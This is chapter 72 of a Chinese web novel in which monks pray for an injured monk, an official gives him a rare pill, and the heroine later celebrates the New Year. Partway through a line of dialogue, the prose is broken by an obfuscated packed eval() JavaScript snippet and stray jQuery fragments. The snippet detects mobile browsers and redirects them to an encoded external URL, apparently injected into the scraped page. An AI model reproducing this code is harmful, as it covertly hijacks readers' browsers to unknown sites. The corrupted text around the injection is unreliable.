72. 苦修佛古刹启慧根(六)
作品:《重生之我为首辅修古董》 入夜,后院禅堂,灯火通明。
寒风吹得院中树枝沙沙作响,禅堂外的院子里,冰冷的石头地面上,早已积了厚厚一层雪,众位和尚整整齐齐地坐在禅院中间,他们都盘着腿,不厚的僧袍被寒风刮得猎猎作响。
方丈慧安此时正在禅堂里为法通治疗,英茀站在紧闭的木门外,看着众位和尚们念经。
一时间,院中梵音阵阵。
回萦递给她一个馒头,她轻轻地拂过,她现在哪里还吃得下?刚才看到法通满脸是血,以为只是脸部和眼睛受了伤,却原来,他的腹部和眼睛都被崖边锋利的岩石划伤,腹部那伤口更是奇长,此时失血过多,正在生命垂危之际。
“愿以诚心,祈我佛慈悲,佑吾师兄,得过难关……”
和尚们整齐的发愿声在呼啸的狂风中,将寒的威势也压过了。
有一滴暖流从她的眼角滑落,她赶忙擦过,大家都在努力,但她这个害法通受伤的人却什么也做不了,她愧疚地闭眼睛,听着和尚们的声音,她也不自觉地双手合十,默默地跟着祈祷。
林亭青带着昏迷醒来的小宇给她磕头道了谢也加入到诵经的和尚队伍中,英茀看着两兄妹坐在僧人队伍里,满脸焦灼的模样,再也忍不住了。
她提起裙摆,走下台阶,盘坐在众位和尚队列的最后,她双手合十,嘴里默念道:“我佛慈悲,信女王英茀在此发愿,法通师傅若能平安,信女愿折寿……”
“王英茀!”
她的话音未落,禅堂外廊道上传来一道急促的声音,紧接着随风飘来一阵沉水香的气息。
这沉水香冲破层层风雪,来到了她的身边,那绯色身影也撞破院中的绝望,那个人就这样急奔而来,带着满身的风雪。
“愿不可乱发。”
他的声音还带着赶路的疲累。
“燕行,拿出来。”
他阻止英茀发愿的同时,递出一个锦盒来,英茀疑惑地接过盒子,只见这盒身由紫檀木制成,上雕两条飞龙,中间有一珠,两龙相争,正在戏珠。
再看那盒角小小一枚印章,她若记得不错,这似乎是宫中御赐之物。
盒子被傅绥打开,只见其中铺有锦缎,在那柔软锦缎之上,放置着一粒乌丹,借着屋檐下的光,那乌丹竟然散发出几分光芒来。
英茀看向傅绥,她不懂这是什么,但她知道,此丹绝非凡品。
“此乃‘还魂丹’,西域进贡皇室之物,普天之下只得三粒,前段时间皇上赐我一粒。据说此丹可止血生肌,助人还魂,我愿献出此丹,救法通师傅。”
突如其来的震惊让她喘不过气来,她知道这丹药名贵,但她没想到竟然如此稀罕。这可是关键时候保命的东西,他竟肯献出救人?
英茀不敢置信地看向傅绥,没想到此时的傅绥脸上却不如平常一般和气,相反的,她竟从他那水波不惊的俊脸上看出了一丝……愠怒?
“我上次救你,可不是让你随意许愿折寿的。”
他冷冷地丢下一句,便推开门进了屋。
暖黄的光芒打在英茀的身上,刚才傅绥的态度变化是她始料未及的,她从未见过傅绥态度如此强硬,她想,她与傅绥之间,其实早就不是那一点救命之恩,更多的,是一种命运的纠缠,或许正是因为这样,傅绥才对她轻易舍去寿命而生气?
“动了动了!师兄的睫毛动了!”屋里忽然传来小和尚的欢呼声。
“谢谢大人!”有几个小和尚此起彼伏地对傅绥表示感谢,慧安方丈也念了好几声阿弥陀佛,感谢了傅绥。
英茀猛地回过神来,她赶忙踏进屋内。她的心在扑通乱跳,她甚至克制不住自己激动纷乱的心情。
法通醒了,她该怎么感谢法通呢?她再明白不过,法通的命就算保下了,他那双眼绝对是保不住的,那她该用什么样子来面对一个为了她而受一身重伤的人呢?
一进门,屋内灯火通明,至少比别的房间多点了几倍的蜡烛,整个屋子光亮无比。
法通直挺挺地躺在床上,左眼紧闭,双手垂于身侧。方丈慧安就站在法通身边,见英茀进来,道了一声阿弥陀佛后,携着傅绥等人退出了禅房。
“法通师傅,你的眼睛……”
她没法克制自己不去看法通的眼睛,那双眼睛红肿不堪,左边眼珠更是瘪进去一截,令人触目惊心。
她心重已有几分猜测,但她畏惧面对这件事,她不敢控制自己去想。
反倒是躺在床上的法通笑得很轻松,他用自己肿起来的右眼看着英茀,口中念了句“阿弥陀佛”,然后笑道:“王姑娘受惊了,小僧无碍的。师傅总说我念经时心有旁骛,如今这左眼去了也好,往后念经便可一眼一心,心神合一了。”
法通的左眼果然是……废了!
英茀几乎眼前一黑,差点一个趔趄,她勉力支撑着一口气,扶住床边的灯柱,站稳身体。
强烈的自责席卷全身,她几乎无言面对淌在床上的法通,她低低地道:“法通师傅,若不是我你也不会遭受如此罪过,我实在、我实在……”
满腔自责让她无法开口,她紧紧掐住自己的手掌心,痛意自掌心蔓延开。
法通却再次爽朗笑出声。
“王姑娘,小僧之所以请你进来,便知你会如此自责。王姑娘,你不该因为我悲伤的。”
法通仅剩的那只眼乌黑明亮,在通明的房间里,比之若干烛火也绝不逊色丝毫。
他道:“我这只眼,为救人而去,这本就是随心而行的事。诸行无常,诸法无我,涅槃寂静。这人生万物,若能去得其所,便是小僧之幸。姑娘让小僧这一眼去得其所,便是助我修行。慈悲为本,方便为门。师父佛法高明,小僧一直不得其真谛,如今这一遭,却令小僧得悟佛理,姑娘该为小僧高兴才是。”
“更有佛说——‘众生一体’,我与王姑娘,与小宇姑娘,与世间万物,皆为一体,对你们施予援手,不过是左手帮右手拂拭尘埃,哪有什么亏欠?你若自责,反倒让我这番修行,落了执念。今日之事,乃你起了善念,我不过是得你传递,将你的善念传递下去罢了。且放宽心吧,若姑娘能在往后继续施以援手,便是替小僧修了这一番佛缘了。”
他的声音还带着一些疲惫,但他的话却掷地有声。英茀一瞬间几乎是醍醐灌顶,法通活得太通透了,她不曾研究过佛法,但就法通这一番话,她也几乎能感觉到,法通是个真正的修行者。
“好了,王姑娘,烦你出门之时,替小僧谢过傅大人,若非他的药,我恐怕便醒不过来了。”
英茀点头,随后还是向法通表示了感谢:“法通师傅,今日谢谢您救我。若师傅往后有什么需要我的,请您一定告
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095239|182209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诉我。”
法通笑了笑,摆摆手让她回去休息。
英茀推门走出房间的一刻,冷风直吹她的脸,她忽然悟了。原来,佛法高深之处,不过是放下执念罢了。
“在想什么?”
她迎头便撞上傅绥的目光,她连忙福了一福,随后向傅绥转告了法通的谢意。
“大人这颗药乃御赐,放诸天下也是罕见之物,大人却毫不吝啬,赠与法通师傅,实乃高义,法通师傅是我的救命恩人,因此,大人以后若有用得着我的地方,英茀必定结草衔环以报之。”
她说得认真,傅绥却笑得揶揄。月光映照雪色,更衬得他眉目清朗英俊无双。
“你啊,”傅绥抱着手臂,朝她笑:“你和我之间,哪里还算得清楚?我们早就是一条绳子上的蚂蚱了,往后,就互相帮助吧。”
傅绥笑起来非常好看,英茀上辈子只见过徐燕生高中之后,春光满面,被众人簇拥着仿佛神仙模样。但今日,在这月光下,她才发现,眉眼清俊却掩盖不住疲累的傅绥,才是真正的神仙人物?
从前,是她孤陋寡闻了。
就在此刻,她忽然想起了些不该在此时想起的事情。
傅绥说这一年里,他会给她找适合的人解她燃眉之急,但很明显,傅绥现在忙得根本没顾上她这事儿。
她想了想,其实如果傅绥实在没时间找人,她勉强一下,接受下傅绥也是可以的。
她看向月光下傅绥那张俊美的脸,不知道为什么,她忽然想起那次在酒楼偶遇傅绥和沈栖迟,想起前世她依稀听到的一些传闻,忽然她打了一个寒噤,不行不行,她在想什么呢?
她在心里给自己翻了好几个白眼,她怎么能病急乱投医?沈栖迟那次回京,连家人都没见就先去见了傅绥,他们之间果然和前世传闻一样,沈栖迟和傅绥肯定是碍于世俗的眼光,但两人感情甚笃,又不肯负了对方,所以两人一个以久在沙场为由拒绝亲事,一个三次亲事均泡汤。
她对自己的推理十分满意,这次再看向傅绥的时候,便有了一些感叹:哎,这么好看的脸蛋,怎么喜欢男的呢?
日子一天天过去,英茀每日忙着修复佛像的事情,一得空便去看望病床上的法通,所幸法通一日日地好起来了,她的心情也渐渐恢复。
接近年关,户部和阁部事忙,傅绥每日只有晚间才得空从京中来奉国寺,但到底是傅绥,人中龙凤,这些日子天气越来越恶劣,不论是大雪漫天,还是狂风四起,他都不曾落下一日。
终于到了除夕,英茀回了趟王宅,恰逢表哥崔曜也放假,英茀便在院中,与母亲孟楚华和表哥崔曜,及宅中丫头仆妇及小厮们一同庆祝新年到来。
她好多年没过过这么开心的年了,有母亲在,家人在,丫头们也在,于是她乐上心头,给各位丫鬟仆妇小厮们发了不少压岁钱,她这大手大脚的样子,让她的“帐房先生”春藜可受惊不小,记账的时候一个劲地给她使眼色,连手里的毛笔都差点折断了。
她可不管,千金难买她开心,她低着头继续将钱往外掏,这一掏,让春藜更心疼了,笔杆子都快咬断了。
快乐的时光总是稍纵即逝,很快就到了她该回奉国寺的时候。她这才慢悠悠地去了东院,给祖母二叔一家子拜了年,到了下午时分,便收拾好行李,再次赶往凤凰山奉国寺里。

